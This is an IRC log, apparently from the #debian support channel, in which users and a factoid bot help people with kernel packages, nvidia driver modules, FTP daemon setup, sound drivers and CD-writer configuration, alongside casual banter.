| 20:24.30 | tarzeau | kronos: file a bug |
| 20:24.30 | somiaj | !real kernel |
| 20:24.31 | dpkg | The Debian install kernels are meant for just that: installing. If you want things like wide module support and netfilter, install a proper kernel. 'apt-get install kernel-image-2.4.18-386' will see you through, if you have no idea. something you should compile yourself for maximum performance |
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| 20:24.36 | simonrvn | Kawfee: np :) |
| 20:24.39 | tarzeau | kronos: using reportbug |
| 20:24.45 | greycat | kronos: hmm. Tried giving 2 characters for now, then editing /etc/hostname and /etc/hosts after boot? |
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| 20:24.49 | tpk_ | kronos: well if "a.root-servers.net" can do it, you can too :-) |
| 20:24.51 | fflush | ?' |
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| 20:24.56 | Kawfee | tarzeau, made by Favarger |
| 20:25.00 | simonrvn | tpk_: hehehe |
| 20:25.00 | greycat | tpk_: hehe |
| 20:25.03 | kzar | simonrvn: I can type but its annoying as the symbols become the wrong ones. How would I upgrade kernel and which would you recommend? |
| 20:25.09 | tarzeau | Kawfee: i don't think they put anything special in chocoalte, here |
| 20:25.18 | simonrvn | kzar: one that is built for your cpu.. |
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| 20:25.30 | simonrvn | ...and arch |
| 20:25.34 | kzar | u mean compile one? |
| 20:25.38 | greycat | ~smite imagemagick |
| 20:25.39 | simonrvn | kzar: apt-get |
| 20:25.46 | greycat | !smite imagemagick |
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| 20:25.47 | KillerPro | tarzeau: i can't conect with telnet |
| 20:25.51 | Toolah | I am having problems getting X to work on Woody on an old tnt2 based system - can someone give me a good URL for setting up XFCE under woody please? |
| 20:25.52 | kronos | tarzeau, greycat, tpk_: tnx :) I change the hostname :P |
| 20:26.01 | tarzeau | KillerPro: well does the ftp service run on that remote computer? |
| 20:26.10 | RandomGr | is there any easy way to configure the eth0? like a dpkg-reconfigure eth0 for example? |
| 20:26.12 | simonrvn | Toolah: dpkg-reconfigure xserver-xfree86 |
| 20:26.17 | Kawfee | tarzeau, want to translate that polly joke for me? |
| 20:26.18 | somiaj | kzar: apt-cache search kernel-image-2.4 and then pick the newest one that fits you machine, -386, -586, -k7, etc. |
| 20:26.23 | KillerPro | tarzeau: can i come to you priver ? |
| 20:26.27 | tarzeau | Kawfee: hahah :) you don't understand? |
| 20:26.28 | simonrvn | @tell RandomGr about man interfaces |
| 20:26.32 | kzar | simonrvn: I have a pc which I think is pretty normal. Its a duel processor one. It has 2 500mhz chips and 700 odd megs of old slow ram |
| 20:26.35 | Kawfee | tarzeau, I speak English! |
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| 20:26.39 | tpk_ | RandomGr: just edit /etc/network/interfaces |
| 20:26.50 | MorgothBauglir | Hello,.. I' just tried to install kernel 2.6.0. Everything works fine,.. but my mouse seems to be corrupted. I'm using a PS/2 mouse. I compiled the driver in the kernel (doesn't work as module too)? Can someone help me? |
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| 20:27.02 | simonrvn | kzar: cat /proc/cpuinfo, and install what you need. apt-cache search kernel-image |
| 20:27.05 | tarzeau | Kawfee: polly wants a cracker (that's a cookie), 2nd one: same thing 3rd "CRACK! (drugs) i need crack! shit, give me crack! polly needs crack!" |
| 20:27.17 | tarzeau | for those who missed it: www.linuks.mine.nu/020302.jpg |
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| 20:27.22 | smj | MorgothBauglir: Ummmm... Which Debian release are you using? |
| 20:27.28 | Kawfee | tarzeau, lol |
| 20:27.32 | MorgothBauglir | smj: sod |
| 20:27.34 | tarzeau | Kawfee: yeah :) |
| 20:27.40 | smj | MorgothBauglir: sod? |
| 20:27.41 | MorgothBauglir | smj: sid,.. sorry |
| 20:27.46 | somiaj | sod, that's a new one...(: |
| 20:27.49 | Toolah | simonrvn, thanks, will give that a go |
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| 20:28.01 | smj | MorgothBauglir: Ahhh... Can't help ya, sorry. I'm pretty much a stable guy myself. |
| 20:28.02 | Kawfee | tarzeau, roflmao |
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| 20:28.14 | MorgothBauglir | somiaj: yes,.. my personal distribution :-D |
| 20:28.19 | simonrvn | tarzeau: hehe |
| 20:28.36 | muncc2beo | which package contains hdparam? |
| 20:28.40 | tarzeau | Kawfee: there's more at www.nichtlustig.de but they're german... |
| 20:28.41 | simonrvn | hdparm |
| 20:28.42 | greycat | hdparm |
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| 20:28.48 | kzar | simonrvn: I did the cat of the cpuinfo but how does that tell me which kernel I need? |
| 20:28.49 | KillerPro | tarzeau from were i can and how to setup the ftp to work ? |
| 20:28.50 | smj | MorgothBauglir: I was just curious if you'd gotten it working with stable, that's all. Good luck with your mouse problem. |
| 20:28.54 | tarzeau | Kawfee: i think i could translate them all to english (i'll ask for permission) |
| 20:28.59 | Kawfee | tarzeau, is that german? |
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| 20:29.02 | simonrvn | kzar: look at the cpu bit. it'll tell you |
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| 20:29.14 | tarzeau | KillerPro: do you have access to the machine? |
| 20:29.14 | MorgothBauglir | smj: I think it doesn't hav to do anything with debian at all,.. because when i use 2.4.23 everything works fine. |
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| 20:29.15 | tarzeau | Kawfee: yes |
| 20:29.15 | greycat | kzar: you may have to translate it... |
| 20:29.19 | tpk_ | tarzeau: "cracker" is german? |
| 20:29.22 | KillerPro | tarzeau yes |
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| 20:29.35 | simonrvn | cpu: 604e |
| 20:29.37 | kzar | well its basicaly a 500mhz p3 chip but x 2 |
| 20:29.44 | kzar | im not even sure if its using both though |
| 20:29.45 | KillerPro | i am the owner from the machine |
| 20:29.48 | tarzeau | tpk_: yeah, salty food, cookie stuff like that |
| 20:29.50 | simonrvn | kzar: so you need an smp kernel |
| 20:30.15 | MorgothBauglir | Avrael: Hi |
| 20:30.18 | greycat | kzar: so build your own custom kernel |
| 20:30.24 | Avrael | Hi |
| 20:30.30 | smj | MorgothBauglir: I tried 2.6.0 under Gentoo and had no problems (save with the udev system), so I'm not sure what to tell you. I'm reinstalling just Win2K and Debian Stable now, so I don't have anything 2.6ish to help you with. |
| 20:30.34 | raboof | so java applets in the current unstable mozilla[-firebird] is broken? |
| 20:30.36 | kzar | greycat: how? |
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| 20:30.48 | greycat | kzar: get the source, configure it, then read "/msg dpkg kp" |
| 20:30.49 | mathrick | hi, does anynone know of good download manager for linux? One with multipart, multi-url dl, adding parts/urls on-the-fly, decent interface and generally not brain-dead philisophy? |
| 20:30.59 | smj | mathrick: prozilla? |
| 20:31.05 | greycat | !stop prozilla |
| 20:31.06 | tarzeau | mathrick: wget |
| 20:31.08 | greycat | bah. |
| 20:31.12 | greycat | dpkg, listkeys prozilla |
| 20:31.14 | dpkg | Factoid search of 'prozilla' by key (2 shown): stop prozilla ;; prozilla. |
| 20:31.18 | mathrick | smj: nope, falls into brain-dead, wget too :) |
| 20:31.19 | KillerPro | tarzeau: are you here can you help or not ? |
| 20:31.21 | tarzeau | mathrick: i will kill you if you multipart download anythin from my internet |
| 20:31.22 | greycat | dpkg, forget cmd: stop (.*?) |
| 20:31.22 | dpkg | i forgot cmd: stop (.*?), greycat |
| 20:31.25 | greycat | !stop prozilla |
| 20:31.25 | dpkg | stop prozilla is probably http://dominia.org/djao/limitipconn.html -- an apache module to limit concurrent connections from a single IP address, or apt-get install libapache-mod-limitipconn |
| 20:31.35 | tarzeau | KillerPro: yes sure, did you answer my last question? |
| 20:31.41 | KillerPro | yes ... |
| 20:31.50 | KillerPro | tarzeau i am the owner |
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| 20:31.55 | smj | mathrick: Are you looking for something like download accelerator for Linux? |
| 20:31.58 | xXx | iii onde eu estou meu deus?? |
| 20:32.00 | lorax | lol.. hee. umm how do you load modules in 2.6? lol.. i know i used to go modocnf.. butt now? |
| 20:32.01 | fatal__ | MorgothBauglir: every mouse is converted to the imps/2 protocol in 2.6 ... (if you use /dev/input/mice) |
| 20:32.08 | mathrick | smj: yep, or getright |
| 20:32.12 | smj | lorax: I thought modprobe worked. |
| 20:32.14 | Kawfee | greycat, you erased the wrong one |
| 20:32.17 | greycat | fatal__: oh. how... interesting. |
| 20:32.23 | greycat | Kawfee: no, I did not. |
| 20:32.30 | Kawfee | !stop |
| 20:32.30 | dpkg | PLEASE STOP! |
| 20:32.30 | mathrick | tarzeau: i don't want to multipart from *your* net, I just want to have that possibility :) |
| 20:32.34 | Kawfee | oh, guess not |
| 20:32.36 | tarzeau | KillerPro: well what is the webserver? |
| 20:32.42 | keta | hi all |
| 20:32.43 | greycat | Kawfee: go eat something. |
| 20:32.46 | Kawfee | ok, I need food. ttyl |
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| 20:32.54 | muncc2beo | Is there a deb package for the Nvidia X drivers? |
| 20:33.03 | kzar | greycat: how do I get the source of the kernel? why compile instead of just apt-geting it? |
| 20:33.06 | tarzeau | muncc2beo: no but there's /msg apt bouncybouncy |
| 20:33.11 | tarzeau | muncc2beo: or dpkg if apt went shopping |
| 20:33.28 | xXx | alguem aqui nesse fim de mundu que está mi entendenu (apesar deu entender vcs...) |
| 20:33.30 | greycat | kzar: fuck, never mind. |
| 20:33.38 | kzar | ok lol |
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| 20:33.44 | greycat | !tell xxx about portuguese |
| 20:33.48 | KillerPro | tarzeau him is not up |
| 20:33.55 | smj | xXx: Uh... Yeh... Is that like Portuguese? |
| 20:34.02 | greycat | smj: "alguem" is, yes |
| 20:34.05 | fflush | xXx, entre no #debian-br |
| 20:34.07 | xXx | nooo |
| 20:34.13 | tarzeau | KillerPro: well can you start it? |
| 20:34.19 | xXx | "alguem" is somebody |
| 20:34.24 | muncc2beo | tarzeau: then what is dpkg talking about when you tell it 'nvidia'? |
| 20:34.25 | GameServer | hum.. how do i disable a user to go out of his homedir? so user game cannot go to /home/ ? |
| 20:34.27 | greycat | xXx: this is an English channel |
| 20:34.34 | tarzeau | muncc2beo: no idea, ask it for bouncybouncy |
| 20:34.35 | KillerPro | nop i have to many time to remake again ... |
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| 20:34.41 | kzar | just checking before I do this , I just type "apt-get install kernel-image-2.4-686-smp" and let it go right? nothing I have to do first to save it from destroying everything or anything? |
| 20:34.44 | KillerPro | tarzeau i forgot all .. |
| 20:34.45 | tarzeau | muncc2beo: and just use justin_'s installer, it just works(tm) |
| 20:34.50 | tarzeau | Justin_: true, how are you? |
| 20:34.53 | xXx | i know i searching for nwe people (isso eh meloso..) |
| 20:35.01 | tarzeau | KillerPro: /etc/init.d/proftpd start if you've got the right ftp daemon |
| 20:35.02 | lorax | humm i have no modules in 2.6 |
| 20:35.04 | smj | xXx: Solamente hablamos ingles aqui. |
| 20:35.12 | greycat | lorax: module-init-tools |
| 20:35.32 | lorax | greycat: i did install it |
| 20:35.36 | smj | xXx: Oh, so, looking for cyber-sex? Sorry, wrong channel. |
| 20:35.37 | xXx | [fflush]: i'm from buenos aires - brazil |
| 20:35.38 | xXx | ahuahuauhauhauhahauhau |
| 20:35.40 | KillerPro | tarzeau with what command to start ? |
| 20:35.44 | xXx | smj: 66 |
| 20:35.45 | KillerPro | i haved .. |
| 20:35.47 | xXx | smj: ¬¬ |
| 20:35.48 | greycat | xXx: this is also a Debian channel. |
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| 20:36.00 | muncc2beo | tarzeau: so what do I want, the 'nvidia_install' script? |
| 20:36.06 | noen | Hi, anyone who have experience with the linux-wlan-ng package ? |
| 20:36.14 | MorgothBauglir | fatal__: Well I tried that to,.. but it still doesn't work. |
| 20:36.18 | muncc2beo | or the "nvidia debs" |
| 20:36.21 | tarzeau | muncc2beo: not me, you want it! |
| 20:36.26 | tarzeau | KillerPro: i just told you |
| 20:36.32 | greycat | muncc2beo: if you (still) have a debian kernel, you want the nvidia debs |
| 20:36.43 | muncc2beo | greycat: I do, ok |
| 20:37.04 | mathrick | smj: so, do you know of anything like DA or GetRight? |
| 20:37.07 | noen | The linux-wlan-ng-doc is in stable, but not the linux-wlan-ng.. if I try to go unstable, I will miss alot of packages etc... |
| 20:37.20 | noen | Any alternative packages anyone know of? |
| 20:37.30 | muncc2beo | greycat: do I have to log out of X before installing them? |
| 20:37.49 | smj | mathrick: No, sorry dude. I use prozilla, wget, etc... |
| 20:37.57 | greycat | muncc2beo: no, but you have to edit XF86Config-4 and restart to *use* them. |
| 20:37.59 | knoppix | dpkg find fish |
| 20:38.01 | dpkg | Debian Package Listing of 'fish' (15 shown; 16 total): bluefish ;; bubblefishymon ;; cl-blowfish ;; gofish ;; libcrypt-blowfish-perl ;; libtwofish-dev ;; sawfish ;; sawfish-gnome ;; sawfish-lisp-source ;; sawfish-merlin-ugliness ;; sawfish-pager ;; sawfish-themes ;; sawfish-xmms ;; wmfishtime ;; xfishtank. |
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| 20:38.13 | KillerPro | tarzeau: i make mc and i tape enter to proftpd |
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| 20:38.14 | greycat | one fish two fish red fish blue fish |
| 20:38.18 | knoppix | dpkg find kio-fish |
| 20:38.30 | dpkg | Debian Package/File/Desc Search of 'kio-fish' returned no results. |
| 20:38.54 | smj | mathrick: You want something that will rotate between sites, don't you? |
| 20:38.59 | kzar | here I go |
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| 20:39.07 | tarzeau | KillerPro: /etc/init.d/proftpd start |
| 20:39.08 | smj | kzar: Where are you going? |
| 20:39.08 | xXx | [smj]: when i meet a channel... about... jazz for exemplo.. or a server.. because in the brazil it's so dificult.. |
| 20:39.15 | kzar | I will probably be back in a few days annoyed with a broken install |
| 20:39.26 | smj | xXx: I was just joking about the cyber-sex. Don't take it personal. |
| 20:39.27 | kzar | smj:im off to compile a kernel the debian way(tm) lol |
| 20:39.29 | somiaj | kzar: not much faith...(: |
| 20:39.30 | KillerPro | tarzeau i make it |
| 20:39.42 | KillerPro | tarzeau now ? |
| 20:39.45 | mathrick | smj: rather, that will d/l from all sites simultanously, doing multipart |
| 20:39.52 | smj | kzar: Go, my child. Godspeed. |
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| 20:40.04 | kzar | this better get my " key making " rather than @'s ! |
| 20:40.07 | tarzeau | KillerPro: now an ftp server is running, try telnet localhost 21 |
| 20:40.10 | smj | mathrick: Got it. Nope, don't know any open source software that does that. Lemme know if you find one. |
| 20:40.11 | xXx | [smj]: ¬¬ vai pega berão em pau d jegue fii.. |
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| 20:40.23 | mathrick | smj: ok :) |
| 20:40.40 | smj | xXx: Okay, now you've gone to the portuguese that I can't read. |
| 20:40.57 | muncc2beo | greycat: err, there seem to be debs only for kernels up to 2.4.19 - I'm using 2.4.22 |
| 20:41.09 | jakobbg | Is it possible to run AALIB in ANSI-color-mode? |
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| 20:41.19 | galois | how do I set up permissions on new files? (setting defaults) |
| 20:41.22 | somiaj | !portuguese |
| 20:41.23 | dpkg | extra, extra, read all about it, portuguese is the most beautiful idiom of the world, or #debian-br, or por favor use #debian-br para ajuda em portugues. |
| 20:41.24 | smj | Do you think Microsoft would get upset if I recompiled the Win2K kernel for my machine? |
| 20:41.27 | greycat | galois: help umask |
| 20:41.30 | KillerPro | tarzeau nothing |
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| 20:41.41 | gothtec | hm.. |
| 20:41.42 | xXx | [somiaj]: eh eh sim.. |
| 20:41.59 | tarzeau | KillerPro: do you have a different ftp server? |
| 20:41.59 | gothtec | what if I couldn't speak english, then? |
| 20:42.02 | gothtec | !norwegian |
| 20:42.02 | dpkg | norwegian is, like, the language spoken in Norway, or better than swedish |
| 20:42.06 | gothtec | lol |
| 20:42.09 | gothtec | indeed |
| 20:42.16 | muncc2beo | greycat: would it be easier just to download from nvidia's website |
| 20:42.17 | smj | !spanish |
| 20:42.17 | muncc2beo | ? |
| 20:42.18 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish speakers: please go to #debian-es, you will get a lot more help there. |
| 20:42.33 | KillerPro | tarzeau did is better to remove all ftp fropm dselect and to reinstall ? |
| 20:42.37 | greycat | muncc2beo: the easiest way is to build a custom kernel and your nvidia kernel modules at the same time |
| 20:42.39 | lorax | greycat: i am in /lib/modules/2.6.0/kernel/drivers/net i did a insmod 3c59x.ko is says QM_modules function not implimented and then cannot open /proc/ksyms not such file or directory |
| 20:42.40 | smj | !english |
| 20:42.41 | dpkg | rumour has it, english is a language spoken by guys who always write the fscking word: coloUr :), or a loose conglomeration of random words from french, german, and latin, or http://www.unique.cc/ron/estuff.htm or is one of the most bastardised languages ever, borrowing from all over the world |
| 20:42.44 | greycat | muncc2beo: if you use a debian kernel, it's FUCKING IMPOSSIBLE. |
| 20:42.46 | tarzeau | KillerPro: i don't know dselect |
| 20:42.48 | JoneX | <PROTECTED> |
| 20:42.57 | JoneX | |
| 20:43.06 | JoneX | <PROTECTED> |
| 20:43.07 | greycat | lorax: modprobe, modprobe, modprobe, modprobe, MODPROBE!! |
| 20:43.08 | KillerPro | tarzeau did i remove all ftp and to reinstall ? |
| 20:43.10 | somiaj | xXx: I don't speak portuguese, just pointing you to a place where you could find people who talk portuguese |
| 20:43.16 | muncc2beo | greycat: so I have to build a new kernel, pretty much? |
| 20:43.17 | tarzeau | KillerPro: no |
| 20:43.28 | tarzeau | KillerPro: you need to think! |
| 20:43.48 | tarzeau | KillerPro: same rules as in nethack, take step backwards, think, drink some water |
| 20:43.55 | lorax | greycat : i did it says the same thing for EVERY THING. i did modprobe \* |
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| 20:44.19 | greycat | lorax: triple check your .config |
| 20:44.28 | lorax | greycat : ok |
| 20:44.29 | KillerPro | tarzeau thx for the help .. |
| 20:44.43 | muncc2beo | greycat: why is it impossible with a debian kernel? |
| 20:44.54 | tarzeau | KillerPro: you're welcome |
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| 20:45.33 | greycat | muncc2beo: because you can't use make-kpkg modules_image since you have no source tree |
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| 20:46.18 | muncc2beo | greycat: so, what do you suggest? Get sources from kernel.org, build my own with the X-Windows nvidia drivers? |
| 20:46.33 | xXx | ¶§=// |
| 20:46.33 | greycat | muncc2beo: yes, that's what I've always done |
| 20:46.33 | daxal | do I need to restart X after updating fonts? some applications, and most webpages don't display any text (or just square boxes) |
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| 20:47.00 | greycat | daxal: restart xfs if you use that; otherwise, I dunno. |
| 20:47.04 | coolnewbie | greycat:how do i uninstall some program installed using make install |
| 20:47.09 | greycat | coolnewbie: rm |
| 20:47.22 | somiaj | muncc2beo: have you read the docs in /usr/share/doc/nvidia-kernel-source (or whatever the package is called), it will tell you what you need to do. |
| 20:47.22 | greycat | aieee!! dpkg doesn't have the "squares" factoid any more?? |
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| 20:48.00 | djw | greycat: squares? what did that do? |
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| 20:48.03 | amphi | coolnewbie: make uninstall is worth a try |
| 20:48.12 | greycat | !listkeys square |
| 20:48.14 | dpkg | Factoid search of 'square' by key (5 shown): squarepusher ;; square root of a negative number ;; spongebob squarepants ;; square root of bob ;; square root of 69. |
| 20:48.20 | greycat | :( |
| 20:48.24 | neuro_ | evenin all |
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| 20:48.42 | galois | greycat: thank you |
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| 20:48.48 | coolnewbie | amphi:make uninstall not working |
| 20:48.55 | muncc2beo | somiaj: what package are you refering to? |
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| 20:49.31 | muncc2beo | greycat: So in what order do I do things? Build the kernel first, the run the Nvidia .run file, or what? |
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| 20:50.34 | muncc2beo | And what does the Linux Kernel have to do with anything? |
| 20:50.35 | greycat | muncc2beo: apt-cache search nvidia, see the two nvidia-*-src packages?, install both of them, then extract them (they're in /usr/src). Then get your kernel source, extract it, cd into it, configure it, then "make-kpkg --revision=custom.1 kernel_image kernel_headers modules_image" |
| 20:50.47 | somiaj | muncc2beo: your tying to make nvidia kernel modules, you can build it against your current kernel from the nvidia debs, 'nvidia-kernel-source' |
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| 20:50.59 | troubled | lilo: heya |
| 20:51.24 | amphi | coolnewbie: then you'll have to rm it manually |
| 20:51.27 | da | ive got a couple of questions for debian users, im using the via82cxxx_audio driver for my sound card but no sound, it seems to me that i should be using alsa since both oss and esd failed to heed any results, next the driver i used on windows is via8233v16 (this seems to be an ac97 enhanced driver) my question: should i be able to get my sound working using the via82cxxx_audio driver + alsa? |
| 20:51.30 | greycat | somiaj: that requires a kernel source tree, which he doesn't have if he's got a .deb of a kernel |
| 20:52.01 | greycat | da: you either use ALSA *or* you use via82cxxx_audio (which is OSS). |
| 20:52.06 | greycat | da: that's an exclusive or. |
| 20:52.06 | galois | greycat: that seems to be system wide (umask) rather than for a set dir or path (like chmod) |
| 20:52.19 | greycat | galois: correct. There's no way to set per-directory umasks./ |
| 20:52.27 | galois | greycat: bugger |
| 20:52.40 | muncc2beo | greycat: I don't know which packages you're refering to. I don't see any nvidia-*-src packages |
| 20:52.49 | greycat | muncc2beo: make sure you have non-free... |
| 20:52.59 | greycat | !find nvidia- woody |
| 20:53.03 | galois | greycat: I can think of many many many reasons not to set it to 0777 which is what it should be for the central store |
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| 20:53.18 | muncc2beo | greycat: I'm on sarge, does that make a difference? |
| 20:53.25 | dpkg | Debian Search of 'nvidia-' (2 shown): (/usr/src/nvidia-kernel-src.tar.gz) in contrib/x11/nvidia-kernel-src ;; (/usr/src/nvidia-glx-1.0.2880/debian/{nvidia-glx-dev.dirs|nvidia-glx-dev.links|nvidia-glx-dev.postrm|...}) in contrib/x11/nvidia-glx-src. |
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| 20:53.33 | greycat | galois: if files are being created by some daemon, you can just change the umask for that daemon process |
| 20:53.42 | greycat | muncc2beo: and contrib. |
| 20:53.56 | da | greycat: ahhhh i see, well this is the strangest thing ive probably had happen as far as sound, the via82cxxx_audio driver detects my card at the appropriate IO port and irq, also locks the freq to 48000 but whenever i try to write to dsp absolutely nothing happens |
| 20:54.00 | galois | greycat: I was lookign to set "central documents" on a samba server |
| 20:54.02 | muncc2beo | greycat: what if I just run the file I dl'ed from the nvidia website? |
| 20:54.11 | greycat | da: writing to DSP with what application? |
| 20:54.23 | durin42 | i need a copy of suidperl, where can I get one, prefereably w/o recompiling perl? |
| 20:54.26 | greycat | da: the VIA sound chipset can *only* accept 48kHz audio. Your app must resample it. xmms can. |
| 20:54.35 | da | greycat: any application, ive used mpg321, xmms, saytime echo cat |
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| 20:54.43 | somiaj | greycat: well in the docs it gives a meathod for compiling the nvidia module against a debian supplied kernel using the kernel-headers, so I thought you could do it without having a source tree and recompiling a kernel. |
| 20:54.49 | greycat | da: are you in group audio? |
| 20:54.55 | neuro_ | !find dftp sarge |
| 20:54.57 | da | greycat: for sure |
| 20:55.08 | greycat | somiaj: in which docs? Not woody. |
| 20:55.13 | dpkg | Debian Search of 'dftp' (2 shown): (/usr/sbin/addftpuser) in net/wu-ftpd ;; (/usr/lib/modlogan/{libmla_input_bsdftpd.la|libmla_input_bsdftpd.so}) in web/modlogan. |
| 20:55.26 | da | my mixer settings are correect as well, so the mixer works |
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| 20:55.28 | daxal | da, do you have any other devices, like a tvtuner card that uses audio i/o ? |
| 20:55.38 | da | none |
| 20:55.48 | somiaj | greycat: /usr/share/doc/nvidia-kernel-source (since I dont' have a woody box I wouldn't know that it wasn't possible in woody, my bad...(: |
| 20:55.51 | greycat | da: esd, artsd, ... |
| 20:55.52 | muncc2beo | greycat: ok, I see nvidia-glx, nvidia-glx-dev, nvidia-kernel-source, nvidia-kernel-common |
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| 20:56.07 | APEX-SOFT | s |
| 20:56.09 | greycat | muncc2beo: it may be different in sarge, then. I've only done it in woody. |
| 20:56.17 | APEX-SOFT | türkçe bilen varmý |
| 20:56.19 | daxal | I'm on woody, and just compiled nvidia modules last night. it works :) |
| 20:56.20 | kzar | greycat:what was that /msg thing you told me to type which told me about compiling kernels again? |
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| 20:56.48 | daxal | just /msg dpkg nvidia |
| 20:56.50 | Serialkiller | greycat: it me lorax : i am on my linux box now. i rechecked the .config and i dont see a mistake anywhere. so i remade module s nad it said i needed module-init-tools i already got this though |
| 20:56.56 | daxal | kzar kp |
| 20:56.56 | muncc2beo | greycat: somiaj: well, what if I just ran the .run file I dl'ed from the nvidia website, and didn't worry about the kernel? |
| 20:57.02 | da | greycat: artsd said: Error while initializing the sound driver: device /dev/dsp can't be opened (Resource temporarily unavailable) |
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| 20:57.29 | xirtam | how can i change keyboard layout to us? |
| 20:57.34 | Serialkiller | greycat: here is the section of my sources.list # module-init-tools Backport |
| 20:57.35 | Serialkiller | deb http://www.backports.org/debian stable module-init-tools |
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| 20:57.43 | somiaj | muncc2beo: in sarge you can compile the module against your current kenrel, apt-get install nvidia-kernel-source nvidia-glx then read the instructions in /usr/share/doc/nvidia-kernel-source and it will lead you step by step how to get it working. |
| 20:57.48 | daxal | da, humm.. lsof /dev/dsp shows nothing, yea? (no need to paste it) |
| 20:57.52 | kzar | daxal: kp rings a bell but who do I message again? |
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| 20:58.05 | daxal | kzar /msg dpkg kp |
| 20:58.08 | kzar | ty |
| 20:58.13 | da | no its there |
| 20:58.25 | da | esd can open it |
| 20:58.31 | muncc2beo | somiaj: and what, exactly, will all of this do, once its finished? |
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| 20:58.50 | daxal | da, if esd has opened it already, you'll have to play using esd, or, get rid of esd. |
| 20:59.02 | kzar | ok il print that kp thing out and im off again :0 |
| 20:59.03 | da | esd is not running at the present time |
| 20:59.07 | da | ive shut it off |
| 20:59.11 | greycat | muncc2beo: it should produce kernel driver modules that can be loaded into your kernel |
| 20:59.14 | somiaj | muncc2beo: it will create a module called 'nvidia' that you load into your kernel and the X driver 'nvidia' uses to give you the nvidia glx support. |
| 20:59.17 | greycat | muncc2beo: that's the goal here |
| 20:59.31 | greycat | somiaj: it's called "nvidia" now? not NVdriver? |
| 20:59.38 | da | maybe not |
| 20:59.42 | muncc2beo | right, just wanted to make sure we're on the same page |
| 20:59.48 | djw | oh the memories of installing nvidia kernel modules..... |
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| 20:59.52 | da | ok artsd started and gives no output |
| 21:00.00 | somiaj | greycat: yup, that's what the newer versions are called. |
| 21:00.46 | trans_err | im having touble getting my cdrom drives to come up under the ide-scsi driver |
| 21:00.50 | Curtman | Anyone know of a way to convert a Mac .dmg cd image to bin/cue, or multiple iso's? |
| 21:00.53 | somiaj | muncc2beo: just follow the README doc in that directory I pointed you to. |
| 21:01.23 | trans_err | ide-scsi is loaded as is sg but when i enter a cdrom it says binding to ide-cd and still uses /dev/hd* as a block device |
| 21:01.33 | trans_err | ideas? |
| 21:01.43 | greycat | trans_err: what kernel? |
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| 21:01.53 | trans_err | greycat: not 2.6 :D |
| 21:01.59 | trans_err | greycat: 2.4.22 |
| 21:02.04 | da | greycat: when i try using xmms, and open up a file click play it freezes |
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| 21:02.22 | trans_err | da: check your sound server settings |
| 21:02.29 | greycat | trans_err: did you suppress the ide-cd driver for your CD-RW device with a boot parameter? |
| 21:02.50 | Covener | trans_err: hdx=ide-scsi on boot cmdline? |
| 21:02.53 | trans_err | greycat: as in appenind /dev/hdc=ide-scsi |
| 21:03.01 | trans_err | Covener: yes |
| 21:03.09 | interoz | is it possible to create a point to point transfer between two boxes in two separated natted private networks? |
| 21:03.15 | trans_err | oh wait it's just hdX and not /dev/hdX |
| 21:03.17 | greycat | trans_err: that doesn't look like the correct syntax |
| 21:03.17 | Covener | trans_err: I have just hdc=,not the path |
| 21:03.19 | muncc2beo | somiaj: ok, the kernel header's part has me confused. If uname -r says 2.4.22-1-386, which package do I need? |
| 21:03.26 | hpbruna | hi, i have one pc whit 2 nic whit != network address |
| 21:03.35 | hpbruna | coneccted to 2 swicht |
| 21:03.35 | trans_err | thats my problem then... thanks |
| 21:04.06 | greycat | !timtowtdi |
| 21:04.07 | dpkg | well, timtowtdi is There Is More Than One Way To Do It. Perl's philosophy, or courtesy of Larry Wall of perl. |
| 21:04.09 | hpbruna | but when from a pc of swhitch a im doing ping to a pc in switch b dont work |
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| 21:04.32 | trans_err | oh wait- i knew i wasn't that dumb.... they are in the format of hdX=ide-scsi |
| 21:04.37 | hpbruna | i do echo 1 > /proc/sys/net/ipv4/ip_forward in the pc whit 2 nic |
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| 21:04.54 | trans_err | cdrecord.mmap: No such file or directory. Cannot open '/dev/pg*'. Cannot open SCSI driver. |
| 21:05.00 | hpbruna | but nothing happend |
| 21:05.03 | trans_err | i get that error when running cdrecord -scanbus |
| 21:05.09 | trans_err | (as root) |
| 21:05.20 | Osax | hello |
| 21:05.31 | Osax | i used jidgo to create the 1'st cd img of sid |
| 21:05.32 | greycat | griffon:~$ grep append /etc/lilo.conf |
| 21:05.33 | greycat | append="hdc=ide-scsi" |
| 21:05.38 | Osax | now i boot then i get the shell |
| 21:05.40 | Osax | then what? |
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| 21:05.52 | somiaj | muncc2beo: kernel-header-2.4.22-1-386 |
| 21:05.58 | trans_err | greycat: i have that |
| 21:06.01 | greycat | somiaj: plus an 's' I think |
| 21:06.38 | somiaj | muncc2beo: as greycat said its probably headers |
| 21:06.42 | trans_err | Osax: apt-get the rest |
| 21:06.47 | da | erm |
| 21:06.57 | Osax | trans_err, i mean, how to start the installation |
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| 21:07.12 | Starfury^ | dpkg: error processing kdm (--configure): |
| 21:07.12 | Starfury^ | <PROTECTED> |
| 21:07.12 | dpkg | Starfury^: i don't know |
| 21:07.14 | Starfury^ | any ideas? |
| 21:07.20 | trans_err | Osax: never used the jidgo cd's sorry |
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| 21:07.30 | Osax | trans_err, i coulnd't find any help on sid, i know it's for more advanced users but would like to use it |
| 21:07.33 | greycat | Starfury^: what was the first error? |
| 21:07.35 | trans_err | Osax: just use a netisnt :D |
| 21:07.45 | Osax | trans_err, hehe :) thanks |
| 21:07.52 | muncc2beo | somiaj: can I pm you? |
| 21:07.52 | greycat | !sid faq |
| 21:07.53 | dpkg | i heard sid faq is http://wooledge.org/~greg/sidfaq.html |
| 21:07.56 | Osax | any one else knows? |
| 21:08.06 | da | this doesnt make any sense, my audio should be working fine, the drivers work fine and everything else works fine but i hear nothing coming out of my speakers |
| 21:08.06 | Osax | i'll try that |
| 21:08.14 | trans_err | da: aumix? |
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| 21:08.17 | somiaj | muncc2beo: I'd prefer you just talk in the chanell. |
| 21:08.24 | trans_err | da: try sndconfig |
| 21:08.25 | da | trans_err: aumix works fine as well |
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| 21:08.35 | greycat | da: check the cables, power, ... |
| 21:08.53 | Starfury^ | greycat, thats the only one it came up with |
| 21:09.05 | greycat | Starfury^: try bugs.debian.org/kdm |
| 21:09.09 | Covener | da: alsa? have you tried alsmamixergui? I find the interface the best for unmuting and raising all the stupid subdevices on my emu10k1 |
| 21:09.16 | muncc2beo | somiaj: well, step 6 in that readme says to do this: |
| 21:09.22 | muncc2beo | dpkg -i ../../nvidia-kernel-2.4.20-k7_1.0.4496-1+_.Custom_i386.deb |
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| 21:09.33 | somiaj | Osax: if you new to debian my suggestion is use woody for a little while until you get use to how the package managment and debian works before messing with sid. |
| 21:09.34 | Sebulba02 | heh |
